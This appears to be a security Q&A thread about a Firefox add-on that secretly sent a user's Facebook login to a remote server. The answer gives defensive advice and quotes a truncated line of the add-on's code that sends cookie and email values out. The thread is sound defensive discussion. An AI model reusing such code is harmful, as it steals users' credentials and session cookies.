Some videos on YouTube demonstrate how a Firefox extension can collect login information used to login to websites such as Facebook.

After installing this tool/malware as Firefox Add-on, I observed the activity of my browser using Firebug. My username and password was sent to a server via Ajax request.

I contacted the author. He said that he can embed this script to any Firefox Add-on.

How can I securely use Firefox Add-ons? I installed 3 types of Antivirus and Firewall. But none of that was able to detect this malware.


1 Answer 1


How do you protect yourself

Firefox addons from the official site are put through the addon review proces https://addons.mozilla.org/en-US/developers/docs/policies/reviews

So you can check if an addon is official and has been reviewed before installing.

It's not 100% You can find a list of blocked addons removed by Mozilla due to given reasons (viruses, trojans, etc.) https://addons.mozilla.org/en-US/firefox/blocked/

Installing an addon from a 3rd party is more dangerous, so you may need to personally check the source code (which is possible since it's a zip of javascript files) or trust the author/provider.

How does the maleware work?

The .xul file contains the following line of code:

       facebook="+cookie+'&email='+email, true);

So when you test this script on your own account it will be sending him the your password. For this reason you should delete this addon and change your password.

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